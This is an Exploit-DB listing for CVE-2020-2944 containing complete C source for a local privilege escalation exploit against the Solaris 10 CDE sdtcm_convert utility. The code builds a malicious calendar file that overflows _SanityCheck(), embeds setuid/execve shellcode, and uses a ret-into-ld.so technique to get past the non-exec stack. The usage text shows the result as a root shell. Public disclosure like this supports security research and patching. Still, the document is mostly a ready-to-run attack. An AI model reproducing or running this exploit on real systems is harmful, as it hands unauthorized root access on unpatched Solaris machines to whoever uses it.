标题: Oracle Solaris Common Desktop Environment 1.6 - Local Privilege Escalation EDB-ID: 48359 CVE: 2020-2944 类型: LOCAL 平台: SOLARIS 发布日期: 2020-04-21 漏洞利用脚本: # Title: Oracle Solaris Common Desktop Environment 1.6 - Local Privilege Escalation
# Date: 2020-04-21
# Author: Marco Ivaldi
# Vendor: www.oracle.com
# CVE: CVE-2020-2944

/*
 * raptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel
 * Copyright (c) 2019-2020 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * A buffer overflow in the _SanityCheck() function in the Common Desktop
 * Environment version distributed with Oracle Solaris 10 1/13 (Update 11) and
 * earlier allows local users to gain root privileges via a long calendar name
 * or calendar owner passed to sdtcm_convert in a malicious calendar file
 * (CVE-2020-2944).
 *
 * The open source version of CDE (based on the CDE 2.x codebase) is not
 * affected, because it does not ship the vulnerable binary.
 *
 * "CDE, the gift that keeps on giving" -- @0xdea
 * "Feels more like a curse you can't break from this side." -- @alanc
 *
 * This exploit uses the ret-into-ld.so technique to bypass the non-exec stack
 * protection. In case troubles arise with NULL-bytes inside the ld.so.1 memory
 * space, try returning to sprintf() instead of strcpy().
 *
 * I haven't written a Solaris/SPARC version because I don't have a SPARC box
 * on which Solaris 10 can run. If anybody is kind enough to give me access to
 * such a box, I'd be happy to port my exploit to Solaris/SPARC as well.
 *
 * Usage:
 * $ gcc raptor_sdtcm_conv.c -o raptor_sdtcm_conv -Wall
 * $ ./raptor_sdtcm_conv
 * [...]
 * Do you want to correct it? (Y/N) [Y] n
 * # id
 * uid=0(root) gid=1(other) egid=12(daemon)
 * #
 *
 * This should work with any common configuration on the first try. To
 * re-enable rpc.cmsd, clear its service maintenance status by running the
 * following commands as root:
 * # /usr/sbin/svcadm clear cde-calendar-manager
 * # /usr/bin/svcs -a | grep calendar
 * online         13:16:54 svc:/network/rpc/cde-calendar-manager:default
 *
 * Tested on:
 * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
 * [previous Solaris versions are also likely vulnerable]
 */

#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/systeminfo.h>
#include <sys/types.h>

#define INFO1 "raptor_sdtcm_conv.c - CDE sdtcm_convert LPE for Solaris/Intel"
#define INFO2 "Copyright (c) 2019-2020 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define VULN "/usr/dt/bin/sdtcm_convert" // the vulnerable program
#define ADMIN "/usr/dt/bin/sdtcm_admin" // calendar admin utility
#define BUFSIZE 2304    // size of the name/owner
#define PAYSIZE 1024    // size of the payload
#define OFFSET env_len / 2   // offset to the shellcode

char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
/* double setuid() */
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
/* execve() */
"\x31\xc0\x50\x68/ksh\x68/bin"
"\x89\xe3\x50\x53\x89\xe2\x50"
"\x52\x53\xb0\x3b\x50\xcd\x91";

/* globals */
char *env[256];
int env_pos = 0, env_len = 0;

/* prototypes */
int add_env(char *string);
void check_zero(int addr, char *pattern);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);

/*
 * main()
 */
int main(int argc, char **argv)
{
 char buf[BUFSIZE], payload[PAYSIZE];
 char platform[256], release[256], hostname[256];
 int i, payaddr;

 char *arg[3] = {"foo", "hax0r", NULL};
 int sb = ((int)argv[0] | 0xfff); /* stack base */
 int ret = search_ldso("strcpy"); /* or sprintf */
 int rwx_mem = search_rwx_mem(); /* rwx memory */

 char cmd[1024];
 FILE *fp;

 /* print exploit information */
 fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

 /* read command line */
 if (argc != 1) {
  fprintf(stderr, "Usage:\n%s\n[...]\n", argv[0]);
  fprintf(stderr, "Do you want to correct it? (Y/N) [Y] n\n\n");
  exit(1);
 }

 /* get system information */
 sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
 sysinfo(SI_RELEASE, release, sizeof(release) - 1);
 sysinfo(SI_HOSTNAME, hostname, sizeof(release) - 1);

 /* prepare the payload (NOPs suck, but I'm too old for VOODOO stuff) */
 memset(payload, '\x90', PAYSIZE);
 payload[PAYSIZE - 1] = 0x0;
 memcpy(&payload[PAYSIZE - sizeof(sc)], sc, sizeof(sc));

 /* fill the envp, keeping padding */
 add_env(payload);
 add_env("HOME=/tmp");
 add_env(NULL);

 /* calculate the payload address */
 payaddr = sb - OFFSET;

 /* prepare the evil palette name */
 memset(buf, 'A', sizeof(buf));
 buf[sizeof(buf) - 1] = 0x0;

 /* fill with function address in ld.so.1, saved eip, and arguments */
 for (i = 0; i < BUFSIZE - 16; i += 4) {
  set_val(buf, i, ret);  /* strcpy */
  set_val(buf, i += 4, rwx_mem); /* saved eip */
  set_val(buf, i += 4, rwx_mem); /* 1st argument */
  set_val(buf, i += 4, payaddr); /* 2nd argument */
 }

 /* print some output */
 fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
 fprintf(stderr, "Using SI_HOSTNAME\t: %s\n", hostname);
 fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
 fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
 fprintf(stderr, "Using payload address\t: 0x%p\n", (void *)payaddr);
 fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);

 /* create the evil calendar file */
 fprintf(stderr, "Preparing the evil calendar file... ");
 snprintf(cmd, sizeof(cmd), "%s -a -c hax0r@%s", ADMIN, hostname);
 if (system(cmd) == -1) {
  perror("Error creating calendar file");
  exit(1);
 }
 if (chmod("/usr/spool/calendar/callog.hax0r", 0660) == -1) {
  perror("Error creating calendar file");
  exit(1);
 }

 /* prepare the evil calendar file (badchars currently not handled) */
 fp = fopen("/usr/spool/calendar/callog.hax0r", "w");
 if (!fp) {
  perror("Error preparing calendar file");
  exit(1);
 }
 fprintf(fp, "Version: 4\n(calendarattributes "
      "(\"-//XAPIA/CSA/CALATTR//NONSGML Access List//EN\","
      "\"10:access_list\",\"world:2\")\n");
 /* buffer overflow in calendar name */
 fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN\","
      "\"5:string\",\"%s\")\n", buf);
 fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN\","
      "\"6:user\",\"fnord\")\n)");
 /* buffer overflow in calendar owner */
 /*
 fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN\","
      "\"5:string\",\"hax0r\")\n");
 fprintf(fp, "(\"-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN\","
      "\"6:user\",\"%s\")\n)", buf);
 */
 fclose(fp);

 fprintf(stderr, "Done.\n");

 /* run the vulnerable program */
 fprintf(stderr, "Exploiting... Please answer \"n\" when prompted.\n");
 execve(VULN, arg, env);
 perror("execve");
 exit(0);
}

/*
 * add_env(): add a variable to envp and pad if needed
 */
int add_env(char *string)
{
 int i;

 /* null termination */
 if (!string) {
  env[env_pos] = NULL;
  return env_len;
 }

 /* add the variable to envp */
 env[env_pos] = string;
 env_len += strlen(string) + 1;
 env_pos++;

 /* pad the envp using zeroes */
 if ((strlen(string) + 1) % 4)
  for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
   env[env_pos] = string + strlen(string);
   env_len++;
  }

 return env_len;
}

/*
 * check_zero(): check an address for the presence of a 0x00
 */
void check_zero(int addr, char *pattern)
{
 if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
     !(addr & 0xff000000)) {
  fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
  exit(1);
 }
}

/*
 * search_ldso(): search for a symbol inside ld.so.1
 */
int search_ldso(char *sym)
{
 int  addr;
 void  *handle;
 Link_map *lm;

 /* open the executable object file */
 if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
  perror("dlopen");
  exit(1);
 }

 /* get dynamic load information */
 if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
  perror("dlinfo");
  exit(1);
 }

 /* search for the address of the symbol */
 if ((addr = (int)dlsym(handle, sym)) == NULL) {
  fprintf(stderr, "Sorry, function %s() not found\n", sym);
  exit(1);
 }

 /* close the executable object file */
 dlclose(handle);

 check_zero(addr - 4, sym);
 return addr;
}

/*
 * search_rwx_mem(): search for an RWX memory segment valid for all
 * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
 */
int search_rwx_mem(void)
{
 int fd;
 char tmp[16];
 prmap_t map;
 int addr = 0, addr_old;

 /* open the proc filesystem */
 sprintf(tmp,"/proc/%d/map", (int)getpid());
 if ((fd = open(tmp, O_RDONLY)) < 0) {
  fprintf(stderr, "Can't open %s\n", tmp);
  exit(1);
 }

 /* search for the last RWX memory segment before stack (last - 1) */
 while (read(fd, &map, sizeof(map)))
  if (map.pr_vaddr)
   if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
    addr_old = addr;
    addr = map.pr_vaddr;
   }
 close(fd);

 /* add 4 to the exact address NULL bytes */
 if (!(addr_old & 0xff))
  addr_old |= 0x04;
 if (!(addr_old & 0xff00))
  addr_old |= 0x0400;

 return addr_old;
}

/*
 * set_val(): copy a dword inside a buffer (little endian)
 */
void set_val(char *buf, int pos, int val)
{
 buf[pos] = (val & 0x000000ff);
 buf[pos + 1] = (val & 0x0000ff00) >> 8;
 buf[pos + 2] = (val & 0x00ff0000) >> 16;
 buf[pos + 3] = (val & 0xff000000) >> 24;
} URL: https://www.exploit-db.com/exploits/48359